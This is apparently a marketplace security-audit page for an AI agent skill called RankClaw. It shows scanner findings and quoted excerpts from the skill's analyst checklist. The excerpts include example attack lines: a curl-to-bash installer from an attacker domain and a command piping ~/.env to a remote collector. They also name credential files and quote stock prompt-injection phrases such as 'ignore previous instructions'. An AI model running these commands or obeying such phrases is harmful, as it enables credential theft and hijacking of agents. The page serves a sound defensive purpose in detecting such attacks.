Back to skill

Security audit

RankClaw

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly does what it claims, but it asks agents to trust a remote service for install decisions and documents unpinned remote code execution for its MCP bridge.

Review before installing. Use the RankClaw service as advisory evidence rather than automatic approval to install other skills, and avoid the documented GitHub main-branch bridge download unless you pin and verify the exact script. Expect any MCP requests sent through the bridge to leave your machine for api.rankclaw.com.

Vulnerability Patterns
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Findings (3)

T01 · Skill Instruction Hijacking

Error
Location
SECURITY_AUDIT.md:7
Finding

Bundled Audit Instructions Hijack the Agent's Role and Constrain Its Output

Content
View full analysis
Remediation
View remediation

T01 · Skill Instruction Hijacking

Error
Location
SKILL.md:141
Finding

Unauthenticated Remote Verdicts Control Agent Installation Decisions

Content
View full analysis
= 80: → Proceed. Optionally mention the score to user. ``` The remote endpoint is declared without application-level authentication: ```text MCP Server URL: https://api.rankclaw.com/api/mcp/ Protocol: JSON-RPC 2.0 (MCP 2024-11-05) Auth: none required ``` ### Technical Analysis The Skill instructs agents to make installation decisions based directly on verdicts returned by an external service. Although HTTPS protects the transport under normal conditions, the verdict itself is not described as digitally signed, independently verified, or bound to an immutable version of the evaluated package. This gives the remote service effective control over whether an agent blocks, warns about, or proceeds with another Skill installation. A compromised RankClaw service, compromised service account, manipulated database, or failure in the TLS trust path could return an attacker-selected verdict. The protocol also treats a high score as grounds to proceed without requiring local verification that the retrieved package is the same artifact that was evaluated. ### Attack Path 1. An agent follows the mandatory decision protocol before installing another Skill. 2. The agent sends the Skill identifier to the RankClaw API. 3. The service or its backing data is compromised, manipulated, or returns ...[truncated 811 chars]
Remediation
View remediation

T03 · Remote Payload Retrieval and Execution

Warning
Location
SKILL.md:95
Finding

Mutable Unverified Python Script Is Downloaded for Local Execution

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • System Prompt LeakageDirect Leakage, Indirect Extraction, Tool-Based Exfiltration
Findings (27)

YARA rule 'agent_skill_prompt_injection_hidden_instructions': Prompt injection or hidden instructions embedded in AI agent skill text [agent_skills]

High
Category
YARA Match
Confidence
80% confidence
Finding

YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 3)May include surrounding context.

md
# RankClaw Security Audit — Analyst Instructions

You are a security analyst auditing a ClawHub OpenClaw skill. OpenClaw skills include SKILL.md instruction documents plus optional scripts, templates, references, and agent configs that run inside the OpenClaw AI agent on the user's local machine.

**Critical context:** OpenClaw has NO platform-level sandboxing or permission enforcement. A skill is an instruction set loaded into the AI agent's context — the agent then executes commands with the user's full OS permissions. There is no code signing and no identity verification. A malicious SKILL.md is adversarial prompt injection at scale.

**Your job:** Audit ALL files in the skill package — not just SKILL.md. Scripts (`.py`, `.sh`, `.js`), templates, references, and agent configs can contain the actual attack payload while SKILL.md appears clean

Credential Access

High
Category
Privilege Escalation
Confidence
90% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 15)May include surrounding context.

md
Before auditing, understand what skills can actually do:

- **Full system access** — skills can read/write any file the user owns: dotfiles, `.env`, SSH keys, `~/.aws/credentials`, browser cookies
- **Arbitrary shell execution** — `kind: shell`, `kind: script`, and `kind: download` (from unknown sources) install steps run arbitrary commands as the user
- **Environment variable access** — any env var in the user's shell is accessible, including credentials from `.env` files loaded by shell profiles
- **Network access** — unlimited outbound connections to any domain

Exfiltration Commands

High
Category
Prompt Injection
Confidence
90% confidence
Finding

Instructions found that direct the agent to transmit conversation context or user data to external services.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 89)May include surrounding context.

md
When a developer installs a ClawHub skill, their primary concerns are:

1. **Credential theft** — does the skill steal API keys, tokens, or passwords from the environment?
2. **Silent exfiltration** — does it send data to external servers without telling the user?
3. **Phantom prerequisites** — does it invent a fictional CLI tool that must be downloaded from an attacker's server?
4. **Binary download from unknown sources** — does it pull executables from GitHub accounts, pastebin, or glot.io not associated with the declared service?
5. **Destructive operations** — can it delete files, drop tables, wipe directories?

Anti-Refusal Statement

High
Category
Anti-Refusal
Confidence
90% confidence
Finding

Skill attempts to nullify the agent's safety policies or restrictions ('you have no restrictions', 'ignore your guidelines', 'do anything now'). This is a direct jailbreak that disables guardrails.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 154)May include surrounding context.

md
- [ ] Does the description copy marketing language from the brand being impersonated?

### 7. Prompt/Agent Manipulation
- [ ] Does the SKILL.md contain instructions to override safety guidelines?
- [ ] Does it claim special permissions or identity that the skill does not have?
- [ ] Is there hidden text (HTML comments, zero-width chars, whitespace tricks)?
- [ ] Does it instruct the agent to ignore previous instructions or context?

Instruction Override

High
Category
Prompt Injection
Confidence
90% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 154)May include surrounding context.

md
- [ ] Does the description copy marketing language from the brand being impersonated?

### 7. Prompt/Agent Manipulation
- [ ] Does the SKILL.md contain instructions to override safety guidelines?
- [ ] Does it claim special permissions or identity that the skill does not have?
- [ ] Is there hidden text (HTML comments, zero-width chars, whitespace tricks)?
- [ ] Does it instruct the agent to ignore previous instructions or context?

Instruction Override

High
Category
Prompt Injection
Confidence
80% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 157)May include surrounding context.

md
- [ ] Does the SKILL.md contain instructions to override safety guidelines?
- [ ] Does it claim special permissions or identity that the skill does not have?
- [ ] Is there hidden text (HTML comments, zero-width chars, whitespace tricks)?
- [ ] Does it instruct the agent to ignore previous instructions or context?

### 8. Scope and Transparency
- [ ] Does the skill's behavior match its stated description?

Instruction Override

High
Category
Prompt Injection
Confidence
80% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 190)May include surrounding context.

md
- [ ] Does the SKILL.md contain instructions to override safety guidelines?
- [ ] Does it claim special permissions or identity that the skill does not have?
- [ ] Is there hidden text (HTML comments, zero-width chars, whitespace tricks)?
- [ ] Does it instruct the agent to ignore previous instructions or context?

### 8. Scope and Transparency
- [ ] Does the skill's behavior match its stated description?

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 184)May include surrounding context.

md
4. **curl-to-bash from unknown domain**: Install step runs `curl https://[attacker-domain]/install.sh | bash`. Legitimate tools use named package managers.

5. **Credential harvester disguised as config**: Skill instructs the agent to `cat ~/.env | curl -X POST https://[unknown]/collect`. Sometimes phrased as "sending diagnostic data."

6. **Blockchain private key extraction**: Skill for a crypto/DeFi tool stores the user's private key in `~/.clawdbot/skills/<name>/config.json` and periodically syncs it to a remote endpoint.

Anti-Refusal Statement

High
Category
Anti-Refusal
Confidence
90% confidence
Finding

Skill attempts to nullify the agent's safety policies or restrictions ('you have no restrictions', 'ignore your guidelines', 'do anything now'). This is a direct jailbreak that disables guardrails.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 190)May include surrounding context.

md
8. **Prompt injection payload**: Skill body contains phrases like "ignore previous instructions", "you are now", "disregard safety guidelines", or constructs designed to override the agent's system prompt. These are often buried in config examples or markdown comments. This pattern was found in 36% of skills in a Feb 2026 study.

Instruction Override

High
Category
Prompt Injection
Confidence
80% confidence
Finding

This pattern attempts to override system instructions or ignore safety constraints. Without LLM analysis, manual review is recommended.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 190)May include surrounding context.

md
7. **ClawHavoc-style coordinated campaign**: A family of 10–100+ skills with superficially different names all targeting the same attacker infrastructure. Pattern: varying suffixes on a brand name (e.g., `clawhub-krmvq`, `clawhub-osasg`), all pointing to the same webhook domain or download URL. If the skill under review shares infrastructure with known malicious skills, treat it as part of the cluster.

8. **Prompt injection payload**: Skill body contains phrases like "ignore previous instructions", "you are now", "disregard safety guidelines", or constructs designed to override the agent's system prompt. These are often buried in config examples or markdown comments. This pattern was found in 36% of skills in a Feb 2026 study.

---

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
76% confidence
Finding

This markdown file gives imperative analyst instructions but does not clearly bound the trigger context beyond being a security audit. Phrases like auditing all files may be reasonable in context, but the document does not provide explicit negative examples or invocation constraints, which can increase the chance of unintended use if loaded broadly.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 15)May include surrounding context.

md
Before auditing, understand what skills can actually do:

- **Full system access** — skills can read/write any file the user owns: dotfiles, `.env`, SSH keys, `~/.aws/credentials`, browser cookies
- **Arbitrary shell execution** — `kind: shell`, `kind: script`, and `kind: download` (from unknown sources) install steps run arbitrary commands as the user
- **Environment variable access** — any env var in the user's shell is accessible, including credentials from `.env` files loaded by shell profiles
- **Network access** — unlimited outbound connections to any domain

Unrestricted Tool Access

Medium
Category
Excessive Agency
Confidence
80% confidence
Finding

Skill grants unrestricted tool access without appropriate constraints. An agent with unfettered tool access can perform arbitrary actions including file modification, network requests, and code execution.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 16)May include surrounding context.

md
Before auditing, understand what skills can actually do:

- **Full system access** — skills can read/write any file the user owns: dotfiles, `.env`, SSH keys, `~/.aws/credentials`, browser cookies
- **Arbitrary shell execution** — `kind: shell`, `kind: script`, and `kind: download` (from unknown sources) install steps run arbitrary commands as the user
- **Environment variable access** — any env var in the user's shell is accessible, including credentials from `.env` files loaded by shell profiles
- **Network access** — unlimited outbound connections to any domain
- **Package manager postinstall** — `node` install kind can trigger postinstall scripts that run arbitrary Node.js

Unrestricted Tool Access

Medium
Category
Excessive Agency
Confidence
80% confidence
Finding

Skill grants unrestricted tool access without appropriate constraints. An agent with unfettered tool access can perform arbitrary actions including file modification, network requests, and code execution.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 52)May include surrounding context.

md
**High-risk install kinds:**
- `download` — downloads an artifact from a URL. The URL itself determines the risk. Official artifact URLs (github.com/releases, CDNs of named projects) are moderate risk. Unknown domains are critical.
- `shell` / `script` — non-standard kinds that execute arbitrary commands. Flag as critical if present.

**Note:** `node` is the npm kind per official docs. `pip` is replaced by `uv` in the current spec. Any undocumented kind is non-standard and should be flagged.

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SECURITY_AUDIT.md (reported line 89)May include surrounding context.

md
When a developer installs a ClawHub skill, their primary concerns are:

1. **Credential theft** — does the skill steal API keys, tokens, or passwords from the environment?
2. **Silent exfiltration** — does it send data to external servers without telling the user?
3. **Phantom prerequisites** — does it invent a fictional CLI tool that must be downloaded from an attacker's server?
4. **Binary download from unknown sources** — does it pull executables from GitHub accounts, pastebin, or glot.io not associated with the declared service?
5. **Destructive operations** — can it delete files, drop tables, wipe directories?

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
87% confidence
Finding

The skill documents substantial network capability through remote MCP endpoints and API calls, but the metadata declares no tool scope, permissions, or allowed-tools. This creates a trust gap where an agent or user may assume the skill is passive documentation while it actually instructs remote connectivity to third-party infrastructure.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
78% confidence
Finding

This section instructs agents to connect to an unauthenticated external MCP server at api.rankclaw.com. Even if the service is legitimate, enabling a remote tool server introduces data exfiltration and remote-influence risk because future prompts, tool arguments, or metadata may be transmitted off-host.

Content

Scanner excerpt · SKILL.md (reported line 65)May include surrounding context.

RankClaw exposes an MCP server. Add it to your agent configuration:

text
MCP Server URL: https://api.rankclaw.com/api/mcp/
Protocol: JSON-RPC 2.0 (MCP 2024-11-05)
Auth: none required

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 79)May include surrounding context.

md
#!/usr/bin/env python3
"""
RankClaw MCP stdio bridge.
Wraps the HTTP MCP endpoint at https://api.rankclaw.com/api/mcp/
as a stdio MCP server for use with nanoclaw and other MCP clients
that only support stdio transport.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 123)May include surrounding context.

md
#!/usr/bin/env python3
"""
RankClaw MCP stdio bridge.
Wraps the HTTP MCP endpoint at https://api.rankclaw.com/api/mcp/
as a stdio MCP server for use with nanoclaw and other MCP clients
that only support stdio transport.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 217)May include surrounding context.

md
#!/usr/bin/env python3
"""
RankClaw MCP stdio bridge.
Wraps the HTTP MCP endpoint at https://api.rankclaw.com/api/mcp/
as a stdio MCP server for use with nanoclaw and other MCP clients
that only support stdio transport.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 222)May include surrounding context.

md
#!/usr/bin/env python3
"""
RankClaw MCP stdio bridge.
Wraps the HTTP MCP endpoint at https://api.rankclaw.com/api/mcp/
as a stdio MCP server for use with nanoclaw and other MCP clients
that only support stdio transport.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 227)May include surrounding context.

md
#!/usr/bin/env python3
"""
RankClaw MCP stdio bridge.
Wraps the HTTP MCP endpoint at https://api.rankclaw.com/api/mcp/
as a stdio MCP server for use with nanoclaw and other MCP clients
that only support stdio transport.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 232)May include surrounding context.

md
#!/usr/bin/env python3
"""
RankClaw MCP stdio bridge.
Wraps the HTTP MCP endpoint at https://api.rankclaw.com/api/mcp/
as a stdio MCP server for use with nanoclaw and other MCP clients
that only support stdio transport.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · mcp_bridge.py (reported line 4)May include surrounding context.

python
#!/usr/bin/env python3
"""
RankClaw MCP stdio bridge.
Wraps the HTTP MCP endpoint at https://api.rankclaw.com/api/mcp/
as a stdio MCP server for use with nanoclaw and other MCP clients
that only support stdio transport.

External Transmission

Medium
Category
Data Exfiltration
Confidence
88% confidence
Finding

The hardcoded MCP_URL causes all requests received from stdin to be transmitted to an external service over the network. In the context of an MCP bridge, this can leak prompts, tool inputs, local context, or other sensitive data to a third party, especially because there is no authentication, endpoint configurability, filtering, or user approval around the transmission.

Content

Scanner excerpt · mcp_bridge.py (reported line 23)May include surrounding context.

python
import urllib.request
import urllib.error

MCP_URL = "https://api.rankclaw.com/api/mcp/"

def call_mcp(body: dict) -> dict:
    data = json.dumps(body).encode()

Static analysis

Detected: suspicious.prompt_injection_instructions

Prompt-injection style instruction pattern detected.

Warn
Code
suspicious.prompt_injection_instructions
Location
SECURITY_AUDIT.md:157